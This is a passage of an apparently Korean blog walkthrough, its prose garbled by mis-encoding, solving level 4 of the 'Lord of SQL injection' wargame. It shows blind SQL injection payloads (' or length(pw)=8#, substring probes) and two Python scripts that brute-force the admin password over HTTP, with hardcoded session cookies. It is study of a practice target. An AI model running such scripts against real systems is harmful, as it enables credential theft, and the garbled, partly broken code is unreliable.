Lord of sql injection [4]
- -
los ๋ฌธ์ ํ์ด _ 4๋ฒ

์ด๋ฒ ๋ฌธ์ ๋ ์ ๋ฌธ์ ๋ค๊ณผ ๋ค๋ฅด๊ฒ sql ์ธ์ ์ ๋ฐฉ์์ด ์๋,
blind sql injection ๋ฐฉ๋ฒ์ด๋ค.
https://lucete1230-cyberpolice.tistory.com/94?category=851757
โฒ๋ธ๋ผ์ธ๋ sql์ด๋?
๋ฌธ์ ๋ admin ์ด๋ผ๋ id์ ์ผ์นํ๋ pw์ผ๋ ํด๊ฒฐ๋๋ค.
์ฆ ์ค์ db์ ์ ์ฅ๋์ด์๋ admin ์ด๋ผ๋ ๊ณ์ ์ pw๋ฅผ ๋ง์ถ์ด์ผ ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋๋ ๊ฒ์ด๋ค.
๊ทธ๋ ๋ค๋ฉด ์ผ๋จ pw์ ๊ธธ์ด๋ฅผ ์์๋ด๊ณ , ํ์ substring ํจ์๋ฅผ ์ด์ฉํด์ ํ๊ธ์์ฉ ๋ง์ถ๋ ์๋ฐ์ ์๋ค.

๋จผ์ 'or 1=1# ๋ฅผ ์จ์ ์ฟผ๋ฆฌ๋ฅผ ์ฐธ์ผ๋ก ๋ง๋ค์ด๋ณด์๋ค.
Hello admin์ด๋ผ๋ ๊ฒฐ๊ณผ๊ฐ ๋ ธ์ถ๋์๋ค.

'or 1=2 #๋ฅผ ์ ๋ ฅํ์๋๋ ์๋ฌด์ฐฝ๋ ์ถ๋ ฅ๋์ง ์๋๋ค.
์ฆ ์ฐธ ๊ฐ์ ๋ฐํํ๋ฉด ์ ๋ฌธ์ฅ์ด ๋จ๋ ๊ฑธ๋ก ์ฐธ/๊ฑฐ์ง์ ๊ตฌ๋ถ ํ ์ ์๋ค.
los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?id=admin&pw=%27or%20length(pw)=8%20%23

pw='or length(pw)=1# ์ด๋ฐ์์ ์ฟผ๋ฆฌ๋ก 1,2,3,4,...์ญ ์ซ์๋ฅผ ์ฌ๋ ค์ฃผ์๋๋ 8์ผ ๋
Hello admin์ด ์ถ๋ ฅ๋์๋ค.
์ด๊ฒ์ผ๋ก ๋ณด์ pw๊ธธ์ด๋ 8์ด๋ผ๋ ๊ฒ์ ์ ์ ์๋ค.
import requests
from bs4 import BeautifulSoup
query1 = "\' or length(pw)= %d#"
dbname =[]
# ์ฌ์ฉํ๊ณ ์๋ DB ๊ธธ์ด ์์๋ด๊ธฐ.
print("========= Blind SQL injection ===========")
print("######################data ๋ถ์ ์ค")
for num in range(0,100):
dbname += [query1 % num]
cookies = {'PHPSESSID': '2hoip0fomcakckdq57vnc05450', '__cfduid': 'd24d39185c1d300939a1a3990e085cb961598688032'}
params = {'id': 'admin', 'pw': dbname}
res = requests.get('https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php', params=params, cookies=cookies)
code = res.text # ์ ์ฒด ์ฝ๋
search = "Hello admin" # ์ฐธ์ผ์ ๋์ค๋ ๊ฒฐ๊ณผ ๊ฐ
if search in code:
print("Password Length : ",num)
break
print("###########################์๋ฃ")
์ ์ฝ๋๋ก pw๊ธธ์ด๋ฅผ ๊ตฌํ ์ ์๋ค. 8๊ธ์ ์ธ ๊ฒฝ์ฐ์๋ ํ๋์ฉ ์ ๋ ฅํด๋ณผ ์ ์์ง๋ง,
hash ๊ฐ ๊ฐ์ ๊ฒฝ์ฐ ํจ์ฌ ๊ทธ ์ด์์ ๊ฐ์ด ๋ค์ด๊ฐ๋ฏ๋ก ํ์ด์ฌ์ ๊ณต๋ถํด๋ณด๋ ๊ฒ๋ ์ข์ ๋ฐฉ๋ฒ์ธ ๊ฒ ๊ฐ๋ค.
requets ๋ชจ๋์ ๊ณต๋ถํ๋ฉด ๋ ๊ฒ ๊ฐ๋ค!
8๊ธ์ ๋ผ๋ ๊ฒ์ ์์์ผ๋, ํ ๊ธ์์ฉ ๋์ ํ์ฌ, pw๊ฐ์ ๊ตฌํ๋ฉด ๋๋ค.

์ด๋๋ substringํจ์๋ฅผ ์ด์ฉํด์ ์ฐพ์์ฃผ๋ฉด ๋๋๋ฐ pw,1,1 ์ฆ ์ฒซ๋ฒ์งธ ๊ธ์๋ฅผ ์์๋ณด๋ ์ฟผ๋ฆฌ์ด๋ค.
2๋ฅผ ์ ๋ ฅํ๋ hello admin์ด ์ถ๋ ฅ๋์๋ค.
์ด๋ ๊ฒ 8๊ธ์๋ฅผ ์ฐพ์์ฃผ๋ฉด ๋๋๋ฐ 0-9/a-z ๊ทธ์ธ์ ํน์๋ฌธ์๋ฑ ์์ด๊ฒ ๋๋ฉด
ํ๋ํ๋ ์ผ์ผ์ด ์น๊ธฐ๊ฐ ํ๋ค๋ค. ๊ทธ๋์ ๋ง์ฐฌ๊ฐ์ง๋ก ํ์ด์ฌ ํด์ ๋ง๋ค์ด ๋ณด์๋ค.

์์ค ์ฝ๋๋ฅผ ๋ณด๋ฉด ์ด๋ฐ์์ผ๋ก html์ฝ๋๋ฅผ ๋ณผ ์ ์๋๋ฐ ์ฐธ์ธ ๊ฒฝ์ฐ hello admin ์ ์ถ๋ ฅํ๋ ์ฐธ๊ณ ํ์ฌ
ํ์ด์ฌ ํด์ ์งฐ๋ค.
import requests
from bs4 import BeautifulSoup
query1 = "\' or substring(pw,%d,1)= %s#"
dbname =[]
word =['a', 'b', 'c', 'd', 'e', 'f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
'w','x','y','z','1','2','3','4','5','6','7','8','9','0','~','!','@','#','$','%','^','&','*','(',
')','_','-','+','=','/',';',':','.',' '," ",',','[','{',']','}','&&','|','||','<','>','!!']
#print("์ํ ์ฝ๋ : ",res.status_code)
import requests
from bs4 import BeautifulSoup
query1 = "\' or substring(pw,%d,1)= %s#"
dbname =[]
word =['a', 'b', 'c', 'd', 'e', 'f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
'w','x','y','z','1','2','3','4','5','6','7','8','9','0']
#print("์ํ ์ฝ๋ : ",res.status_code)
print("========= Blind SQL injection ===========")
# 1. ์ฌ์ฉํ๊ณ ์๋ DB ๊ธธ์ด ์์๋ด๊ธฐ.
print("######################data ๋ถ์ ์ค")
num = 0
while num <= 8:
num = num+1
for str in word:
dbname += [query1 %(num,str)]
cookies = {'PHPSESSID': '2hoip0fomcakckdq57vnc05450', '__cfduid': 'd24d39185c1d300939a1a3990e085cb961598688032'}
params = {'id': 'admin', 'pw': dbname}
res = requests.get('https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php', params=params, cookies=cookies)
code = res.text # ์ ์ฒด ์ฝ๋
search = "Hello admin" # ์ฐธ์ผ์ ๋์ค๋ ๊ฒฐ๊ณผ ๊ฐ
if search in code: #์ฝ๋์์ ์ฐธ์ผ ์ ๋์ค๋ ๊ฐ์ด ๋ค์ด๊ฐ ์๋ค๋ฉด
print("Password : ", str)
break
print("###########################์๋ฃ")
ํ์ด์ฌ์ ์ ํ์ง ์ผ๋ง ์๋์ด ์ฝ๋๊ฐ ๊ฐ๊ฒฐํ ๊ฒ๋ณด๋จ ์์ฑ์ ํ๋๊ฒ์ ๋ชฉํ๋ฅผ ๋์๋ค..ใ
์ฝ๋๋ฅผ ๋๋ ค๋ดค๋๋ฐ ๊ฒฐ๊ณผ๊ฐ ์ข ์ด์ํ ๊ฒ ๊ฐ์๋ค..

๋ค๋ฅธ ์ฌ๋๋ค์ด ์ฌ๋ฆฐ ํด์ค์ ๋ณด๋ฉด, 295d8544๋ผ๋ ๊ฐ์ ์ ๋ต์ด๋ผ ํ์๋๋ฐ,
๋ง๋ ํด์ ์ด์ฉํด์ ๋๋ ค๋ณด๋

๊ฐ์ด ์๊พธ ์ด์ํ๊ฒ ๋์๋ค. ๊ทธ๋์ sql ์ฟผ๋ฆฌ๋ฌธ์ substring์ผ๋ก ํ๊ธ์์ฉ ์ฒดํฌ๋ฅผ ํด๋ณด์๋๋ฐ
์ ๋ต๊ณผ ๋ฌ๋๋ 3๋ฒ์งธ ๊ธ์๋ถํฐ ์ฒดํฌ๋ฅผ ํด๋ณด์๋ค.


4์ผ๊ฒฝ์ฐ์๋ ์ฐธ์ ํด๋น๋์๋ ๊ฒฐ๊ณผ hello admin์ด ์ถ๋ ฅ๋จ.


4๋ฒ์งธ ๊ธ์ง ์ญ์ ์ฐธ์ ํด๋นํ๋ ๊ฐ์ด ํ๊ฐ๊ฐ ์๋.
๊ทธ ์ดํ ๊ธ์๋ ์ญ์, ์ฐธ ๊ฒฐ๊ณผ๋ฅผ ์ฃผ๋ ๊ฐ์ด ํ๊ฐ๋ ์๋๋ค์.
์ด๋ด๊ฒฝ์ฐ ๋ฌธ์ ๊ฐ ์๋ชป ๋์๋ค๊ณ ํด์ผํ ์ง.............์ฝ๋๊ฐ ์๋ชป๋ ๊ฑธ์ง..
์ผ๋จ ์ฝ๋์ abcd ๋ฑ.. ''a'' ๋ก ๋์ด์ผ ํด์ ์ฝ๋๋ฅผ ์ข ์์ ํ์๋๋ 'd'๋ ์ ์์ ์ผ๋ก ๋จ์ง๋ง,
์ฌ์ ํ ๋ค๋ฅธ ๊ฐ์ด ๋จ๋ค์.
์ฐธ์ ํด๋นํ๋ ์์์๋ ๊ฐ์ด ๋์ค๋ ๊ฒ ๊ฐ์์.^^/
์ด์ฐ๋์๋ , ์ ๋ต์ ์์ ๊ฐ์ด ๋ต์ด์๊ธฐ ๋๋ฌธ์ ์ผ๋จ ๋๊ฒผ์ต๋๋ค..^^ ์กฐ๊ธ ์ฐ์ฐํ๋ค์ ์กฐ๊ธ ๋ ์์ธํ
๊ณต๋ถํด๋ด์ผ๊ฒ ์ด์.
๋น์ ์ด ์ข์ํ ๋งํ ์ฝํ ์ธ
์์คํ ๊ณต๊ฐ ๊ฐ์ฌํฉ๋๋ค